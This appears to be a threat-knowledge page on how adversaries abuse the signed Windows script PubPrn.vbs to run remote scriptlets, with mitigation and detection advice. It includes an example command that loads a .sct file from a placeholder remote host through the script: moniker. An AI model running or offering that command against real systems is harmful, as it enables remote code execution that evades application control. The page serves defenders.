Adversaries may use PubPrn to proxy execution of malicious remote files. PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and is commonly executed through the Windows Command Shell via
Cscript.exe. For example, the following code publishes a printer within the specified domain:
cscript pubprn Printer1 LDAP://CN=Container1,DC=Domain1,DC=Com.
Adversaries may abuse PubPrn to execute malicious payloads hosted on remote sites. To do so, adversaries may set the second
script: parameter to reference a scriptlet file (.sct) hosted on a remote site. An example command is
pubprn.vbs 127.0.0.1 script:https://mydomain.com/folder/file.sct. This behavior may bypass signature validation restrictions and application control solutions that do not account for abuse of this script.
In later versions of Windows (10+),
PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to
LDAP://, vice the
script: moniker which could be used to reference remote code via HTTP(S).
|M1040||Behavior Prevention on Endpoint||
On Windows 10, update Windows Defender Application Control policies to include rules that block the older, vulnerable versions of PubPrn.
Certain signed scripts that can be used to execute other programs may not be necessary within a given environment. Use application control configured to block execution of these scripts if they are not required for a given system or network to prevent potential misuse by adversaries.
|ID||Data Source||Data Component|
Monitor script processes, such as
cscript, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.